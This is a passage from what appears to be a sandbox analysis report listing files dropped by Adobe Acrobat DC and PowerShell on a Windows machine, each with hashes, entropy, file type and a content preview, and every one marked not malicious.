SHA-256:	9B31EE75CC9996C488D33BB56564C4CB629E8F7D97E9B3EB6BA189B1932E674E
SHA-512:	DF6C1E48AADE0DB7315A049F02BBD6A31238EFC84E0377E5517F6EEA42C81135A103620A0810CF024421AC4D1EFF8D780326ED7ABD289CC448EAC36F650FEA4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.237126511409452
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfbPtdPeUkwRe9:YvXKXdJXSYpW7ZsGDV8Ukee9
MD5:	4E60BB6B1D5584122C54D2E8D51A3C11
SHA1:	EBAFA864CC210CE4762D383FB550455E5D0BF99A
SHA-256:	1D908C769F59B27C32E43E2C2648BD2E29EF121FE54A8F77683672B2AC633C54
SHA-512:	08916FF5A185930B9CC0809F501C472DD958E0B3E3F0EAF944810195D3AD1F6588644334F4930057E20427E09368956C22D97256A9D03CF0C3AAAA4BEFE52D1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.238728030634108
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJf21rPeUkwRe9:YvXKXdJXSYpW7ZsG+16Ukee9
MD5:	9F9D93EE4C59ADC13A5C76AC723BC26F
SHA1:	19BF00878142ECD4F8481FA2B66494383E9B2851
SHA-256:	917382B26520758AA1277277374EC7ADC4B073731A876F5AB6E7270F2FE0D04F
SHA-512:	DC18B5DCA665366C120038D0F24AABE0003E1A2FFBCDD0D81D14D9F164D50CB29999C1D8519E7CBB1BB3D8372BD7E554DC7773742916B9A036A0F66E216D75ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6481519704427665
Encrypted:	false
SSDEEP:	24:Yv6Xz3iZ5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2TY:YvxZFBgkDMUJUAh8cvM2TY
MD5:	3E39A5E26A5618DEB4EB5638DF5B3DD5
SHA1:	21C30D85CA218E947E411E0C43D1DF6DF2D08490
SHA-256:	33ACCCC27D27AB0BD3A4D6F999FDC02B553FB4E2A9EE6B72D1BEBF0821A39EE2
SHA-512:	471F28A80068C8709F9121F4FE2C480B55A7ECF025153CC818025A7ACBCAD5D47B84BF15A6C4CC86484BCF522AD23771F6448704B8C624252CBDFFA270D6C68F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.212306500996486
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJfshHHrPeUkwRe9:YvXKXdJXSYpW7ZsGUUUkee9
MD5:	CE1C6F4BE161C14C64B382C92A1842A2
SHA1:	86E99383750A5170751ACAA12C525A85AF13DE76
SHA-256:	BE4E6293539DE34EC259544EB67AC6209D7E1BAA555610FAFE9E9F3B45E20A04
SHA-512:	BC9A381794AF24DC2AA66CFF1B4B210B2AFD161137285BF55D0E9B1F937181E9E605556C104506A71D8B29F7D8907D70D835FAB0A57A0AEB3D237E695B487523
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.221793989657264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdcQFXb+FIbRI6XVW7+0Y4XZDoAvJTqgFCrPeUkwRe9:YvXKXdJXSYpW7ZsGTq16Ukee9
MD5:	265B9F5A7956E02F9FEED18C11FEE1AC
SHA1:	629BE763C13E13BCC9D02E8A17589027F6EF5D85
SHA-256:	3A7C2E96FC806539D6E532D1D708618E2308ADB0B080F53A96F9AB378E11629A
SHA-512:	C0B3FE3FE9B168C37BE4D1516FD52A5ED5D1CD7DCF776AA631EE65067607C630302EAFD207ABC13E2DBDA3A96C31B71E27C22E93953F4C213B5A72FAD4D9E8D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d9990dcf-32a6-4f92-a3a5-32fab133e8c2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731229266,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146302088005767
Encrypted:	false
SSDEEP:	48:YuMQOTVxTzT1TinwBThVSTGTNTMTGjXvTFTHR+d9TkocTUO31MbT0T5+3s9TTTMi:bMBv/ZinwlcExSGjXLpckUO31M3qAyfP
MD5:	98A9D8A9036905F26FD06C849C2EE36C
SHA1:	B7AC0404BC424A437BDB7372F26B7D2DB588065A
SHA-256:	40679D73FF4AB6F99A8C3B27A1392B1B8A6AD59BF3874B3DF67BA64A308E4A20
SHA-512:	57F2F608974CAD24FB590B10F2C367E93F285317958469214EFBD2211C7069E0FFA4649BC59C5E0364E132E001F559B5EE67B8DB72F217D3865BEDA9C64DDC38
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"653858b0a463e90b2e3595c8cb08c2d7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736555698000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d3eb53ab014844bb80149b20cf4168dc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736555698000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0ab5667820138b3b130cf3901dae67d9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736555698000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a71e456277d6dccb03dc2a12742ca0cd","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736555698000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0384e27ce61481163cf026240ad9b082","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736555698000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cddb5469190646062aed0e26f94d688b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9848296743459911
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp/4zJwtNBwtNbRZ6bRZ46F:TVl2GL7ms6ggOVpwzutYtp6Pz
MD5:	1533C7D8085356D4D47CF9C212E9C4B5
SHA1:	B8D3578C62DD42A2D1699DAD42C929A8C37A6674
SHA-256:	CA890CCFF0D35F315F57DB08F51BE67E5D1955003F6E026AF277E982B64C8B73
SHA-512:	9727B5DB6F0E9A254A945D94456101AC70C92F3519ADD6D573956FEA55EB3AA0922A371692AFACACD9D3982E73F389658F03967182F4366B40B59864A1E5EBAC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3382629586302448
Encrypted:	false
SSDEEP:	24:7+tMAD1RZKHs/Ds/Sp/PzJwtNBwtNbRZ6bRZWf1RZKAnqLBx/XYKQvGJF7urs9:7MMGgOVp3zutYtp6PM5nqll2GL7ms9
MD5:	87A107739BBEF4786F921CF2100C1FB7
SHA1:	8FF0D89BDD90858080A71B8F270FA369484785CC
SHA-256:	63A28E2D1ACAA293E6FAD6E2ED11D951E51E40AACF508A79B2615A0EB9A212F9
SHA-512:	F1979D7AA263D85622219B610D7E6335A9425977664FE9217834549E5A39EEBD2BBF39A7BA4869245AAA50382F171C2A58CC5E6156329B2133D55369C7672473
Malicious:	false
Preview:	.... .c......N.V......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgXBAZAQUb/K0T7RQ6slHyvTmiYyu:6a6TZ44ADEXB/QUbbTFviiK
MD5:	7F949AEA462BF54E69263ED5435E430B
SHA1:	73164CC0B187C4A2F6C4460D4A1A4D6B00075BE8
SHA-256:	38942544C54C65DC9AED3A95DFE9224BCBA5444BEBFF3DAC8B087AF659D2E0CD
SHA-512:	5830050C8BBFD1CBE6AD7D29C95ADB8DD043A672E06D3987A75155F91C06F2B4684BBED2303819502339BB6268B3293DC6482B931579A6C28D4B65B71A6A6E28
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI8265a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEI4lYH:Qw946cPbiOxDlbYnuRK+bDvYH
MD5:	181FEE09D9F3375ABB0F9FE8353C4C4A
SHA1:	E805AEB5B2AC56539130F3B402AAC1506BDD6E6D
SHA-256:	7FF3630170B5B55E02F4D620B6E9C3361B80DEA3A074FD0D9168EB4F996DFCFB
SHA-512:	EDF9A6799F65A0DDB0B747ADE27E27390AAE0487442EBFD5952A934232AF1391A787381A03CB4374A2A129D6C81C5B71240E73D59C6958FD4D89B1B77A534BC9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.3.5.:.0.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqbt3rxa.ued.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xddi3mme.2fd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-34-54-930.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.382261135775451
Encrypted:	false
SSDEEP:	384:4gu9GIm9npJLBQ63w10BF9ZcAXyBoXmXeXPXbXcXuXYXKXiXIXYtXftX1mQs8EMd:VzgN9
MD5:	172265E67956FD39B92A7F4B76BF79F8
SHA1:	0AA6784E3742A11105B26BCEF093AC2EBF39FA4F
SHA-256:	C25C3A773BF7CA2940B17A77D4EBEAFC7471E34C1F88437D4EDB4F75C7E63875
SHA-512:	5AC8C7D186B9D50A667F74E9424B97266927F20BB6DAD126F3F8636936A1C7C25EE73C218F304C37CE7075A0F036C92E7040A18F74C4D1A98CB43387FB43DE87
Malicious:	false
Preview:	SessionID=7203cd8b-406d-4b3f-a6b9-76fe4bd6af70.1736555694968 Timestamp=2025-01-10T19:34:54:968-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7203cd8b-406d-4b3f-a6b9-76fe4bd6af70.1736555694968 Timestamp=2025-01-10T19:34:54:970-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7203cd8b-406d-4b3f-a6b9-76fe4bd6af70.1736555694968 Timestamp=2025-01-10T19:34:54:970-0500 ThreadID=7700 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7203cd8b-406d-4b3f-a6b9-76fe4bd6af70.1736555694968 Timestamp=2025-01-10T19:34:54:970-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7203cd8b-406d-4b3f-a6b9-76fe4bd6af70.1736555694968 Timestamp=2025-01-10T19:34:54:970-0500 ThreadID=7700 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395938904271098
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbE:IX
MD5:	B471F9949E1B370B79505AD1A53CEAE9
SHA1:	2827342C5BC551F0BEEFF8DDC9A7FD88AE2B9A7D
SHA-256:	7C14CCC08AC9C691B99A2A36E549587438CF44F07E0F7294726ECC8E56F7C71B
SHA-512:	E323B5A5ED0F51736F170F359FCDB73B3AD5BC21A52CA6EDE43B108B918D58DE2B86E79A82203BAAB096A21B5181CD640C9BE0256387A696E1977CBE40231305
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\438c10bc-dd00-445a-b3f4-4c614a09ca78.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5d299fe5-13ff-47a5-a66d-61a170367801.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8b545c63-0576-4868-b543-4468d3328340.tmp

Download File

